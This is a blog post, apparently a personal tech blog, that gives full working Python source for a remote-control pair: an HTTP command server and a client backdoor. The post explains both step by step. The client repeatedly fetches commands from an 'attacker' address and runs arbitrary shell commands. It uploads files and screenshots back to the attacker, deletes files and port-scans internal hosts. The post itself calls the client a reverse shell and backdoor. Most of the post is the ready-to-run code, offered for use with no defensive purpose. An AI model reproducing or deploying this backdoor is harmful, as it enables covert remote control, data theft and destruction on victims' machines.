banner
andrewji8

Being towards death

Heed not to the tree-rustling and leaf-lashing rain, Why not stroll along, whistle and sing under its rein. Lighter and better suited than horses are straw sandals and a bamboo staff, Who's afraid? A palm-leaf plaited cape provides enough to misty weather in life sustain. A thorny spring breeze sobers up the spirit, I feel a slight chill, The setting sun over the mountain offers greetings still. Looking back over the bleak passage survived, The return in time Shall not be affected by windswept rain or shine.
telegram
twitter
github

Python writes server-side remote execution CMD commands

image

import http.server
import os,cgi

localhost= '127.0.0.1'    # Local IP, not public IP
port= 8081    # Listening port

class MyHandler(http.server.BaseHTTPRequestHandler):
    global hostMachine    # Host machine
    hostMachine=0
    def do_GET(self):    # Handle GET request
        global hostMachine
        if hostMachine==0:
            hostMachine=1
            print('Host machine is online')
        command = input("<Potato>$ ")
        self.send_response(200)
        self.send_header("Content-type", "text/html")
        self.end_headers()
        self.wfile.write(command.encode())
        if command=='exit':
            print('[Result] This host is offline') 
            hostMachine=0
        print('\n')

    def do_POST(self):    # Handle POST request
        if self.path == '/tmp':# File data handling
            try:
                ctype, pdict = cgi.parse_header(self.headers.get('Content-type'))
                if ctype == 'multipart/form-data':
                    fs = cgi.FieldStorage(fp=self.rfile, headers = self.headers, environ = {'REQUEST_METHOD' : 'POST'})
                else:
                    print('[Error] POST data format error')
                fs_data = fs['file'].file.read()
                fs_name = fs['name'].file.read().decode('gbk')
                with open('/s-'+fs_name, 'wb') as o:
                    print('[Information] Retrieving ........')
                    o.write(fs_data)
                    print('[Result] Saved to /s-'+fs_name)
                    self.send_response(200)
                    self.end_headers()
                    print('\n')
            except Exception as e:
                print(e)
            return

        self.send_response(200)
        self.end_headers()
        length = int(self.headers['Content-length'])
        postVar = self.rfile.read(length)
        print(postVar.decode('gbk','ignore'))

if __name__ == "__main__":
    httpd = http.server.HTTPServer((localhost, port), MyHandler)    # Set up a simple HTTP server
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        print('\n'+'[Error] The server has been shut down') 

This server code implements a simple HTTP server that can handle GET and POST requests and has some basic functionality. This server allows remote users to send commands via GET requests and receive responses, and also allows file uploads via POST requests.

Here is a detailed introduction to your code:

Import modules and set the listening address and port:

You first imported the required modules http.server, os, and cgi.

Defined the local IP address localhost and the listening port port.

Create a custom request handling class MyHandler:

The MyHandler class inherits from http.server.BaseHTTPRequestHandler to handle HTTP requests.

In the MyHandler class, you defined a global variable hostMachine to mark the online status of the host.

Handle GET requests (do_GET method):

When a GET request is received, the server prompts the user to input a command and retrieves the command via standard input (input).

If the host was previously offline, it will be marked as online and a message will be printed.

The received command will be sent back to the client as an HTTP response with a status code of 200.

If the command is "exit", it will print an offline message and mark the host as offline.

Handle POST requests (do_POST method):

If the request path is "/tmp", it indicates that the client wants to upload a file.

Check the Content-Type of the request; if it is "multipart/form-data", use cgi.FieldStorage to handle the file upload.

The uploaded file will be saved on the server, with the filename starting with "/s-", and a success message will be sent back to the client.

If an exception occurs, an error message will be printed.

Main program section:

In the if name == "main": section, you created a simple HTTP server bound to the local IP address and specified port.

Using http.server.HTTPServer to create a server object that listens on the specified address and port.

The server runs in an infinite loop, handling client requests until a keyboard interrupt (Ctrl+C) is caught, at which point the server will shut down.

import requests
import os
import time
import random
import subprocess
import pyscreenshot
import socket

def connect(attackerIp):
    while True:
        try:
            req = requests.get(attackerIp)
            command = req.text.strip() # Get the command from the server and trim whitespace
            # Below are custom functions
            if command == 'exit':    # Exit the program
                return 1

            elif command.startswith('get'):    # Get file
                path = command.split(" ")[1]
                if os.path.exists(path):
                    url = f'{attackerIp}/tmp'
                    files = {'file': open(path, 'rb'), 'name': os.path.basename(path)}
                    r = requests.post(url, files=files)
                else:
                    r = requests.post(url=attackerIp, data='[Error] The specified file does not exist'.encode('gbk'))

            elif command == 'screenshot':    # Take screenshot
                try:
                    image = pyscreenshot.grab()
                    image.save("/kernel.png")
                    url = f'{attackerIp}/tmp'
                    files = {'file': open("/kernel.png", "rb"), 'name': os.path.basename("/kernel.png")}
                    r = requests.post(url, files=files)
                except Exception as e:
                    r = requests.post(url=attackerIp, data=str(e).encode('gbk'))

            elif command.startswith('remove'):    # Remove file
                filename = command.split(' ')[1]
                if os.path.exists(filename):
                    os.remove(filename)
                else:
                    r = requests.post(attackerIp, data="[Error] File does not exist".encode('gbk'))

            elif command.startswith('scan'):    # Horizontal scan
                try:
                    scan_result = ''
                    if len(command.split(" ")) > 2:
                        scan, ip, port = command.split(" ")
                    else:
                        port = command.split(" ")[1]
                        ip = '127.0.0.1'
                    scan_result = '\n'

                    defPort = list(range(1, 1001)) + [1433, 3306, 5432, 6379, 9200]  # Default scan ports
                    port = defPort if port == 'default' else port.split(',') if ',' in port else [port]

                    for p in port:
                        try:
                            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
                                sock.settimeout(3)
                                result = sock.connect_ex((ip, int(p)))
                                if result == 0:
                                    scan_result += f"       [Open] {p}\n"
                        except Exception:
                            pass
                    r = requests.post(url=attackerIp, data=scan_result.encode('gbk'))
                except Exception:
                    r = requests.post(attackerIp, data="[Error] Port scan error".encode('gbk'))

            elif command.startswith('cd'):    # Change directory
                directory = command.split(' ')[1]
                try:
                    os.chdir(directory)
                    r = requests.post(attackerIp,
                                      data=f"[Result] Changed directory to {os.getcwd()}".encode('gbk'))
                except Exception:
                    r = requests.post(attackerIp, data="[Error] Unable to change directory".encode('gbk'))

            else:    # If not a shortcut command, execute the command
                try:
                    CMD = subprocess.run(command, shell=True, capture_output=True)
                    r = requests.post(url=attackerIp, data=CMD.stdout)
                    r = requests.post(url=attackerIp, data=CMD.stderr)
                except Exception:
                    pass

        except Exception as e:
            pass

if __name__ == '__main__':
    attackerIp = 'http://127.0.0.1:8081'       # Attacker's public IP: listening port
    while True:
        try:
            if connect(attackerIp) == 1:
                break
        except:
            time.sleep(int(random.randrange(1, 10)))    # Connection interval detection

This client code implements a reverse shell and is a backdoor program that continuously connects to an attacker-specified IP address, then receives commands sent by the attacker and executes the corresponding operations.

First, the code imports some necessary libraries, including requests for sending HTTP requests, os for file and directory operations, time for setting delays, random for generating random numbers, subprocess for executing external commands, pyscreenshot for taking screenshots, and socket for creating sockets for port scanning.

Next, a connect function is defined, which continuously loops to perform connection and command execution operations. Inside the loop, it uses the requests library to send an HTTP GET request to retrieve the command sent by the attacker and trims whitespace from the command string. Then, it executes the corresponding operation based on the command content.

The command parsing logic is as follows:

If the command is exit, the program exits.

If the command starts with get, it indicates a request to get a file, extracts the path from the command, and checks if the file exists. If the file exists, it uses the requests library to send an HTTP POST request to send the file to the attacker; otherwise, it sends an error message.

If the command is screenshot, it uses the pyscreenshot library to take a screenshot and save it as "/kernel.png", then sends it to the attacker.

If the command starts with remove, it indicates a request to remove a file, extracts the filename from the command, and checks if the file exists. If the file exists, it uses the os.remove function to delete the file; otherwise, it sends an error message.

If the command starts with scan, it indicates a port scan. The command may have two forms: scan or scan default. It scans ports based on the parameters in the command and sends information about open ports to the attacker.

If the command starts with cd, it indicates a request to change the directory, extracts the directory name from the command, and uses the os.chdir function to change the directory, then sends the result to the attacker.

If none of the above conditions are met, it executes the command using the subprocess.run function and sends the execution result to the attacker.

Finally, in the if name == 'main': section, the attacker's IP address and port are defined, and the connect function is called to continuously connect. If the connect function returns 1, the program exits. In case of connection failure, it uses the time.sleep function to set a random sleep time to avoid frequent connections.
The server calls the client to execute CMD commands:

image

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.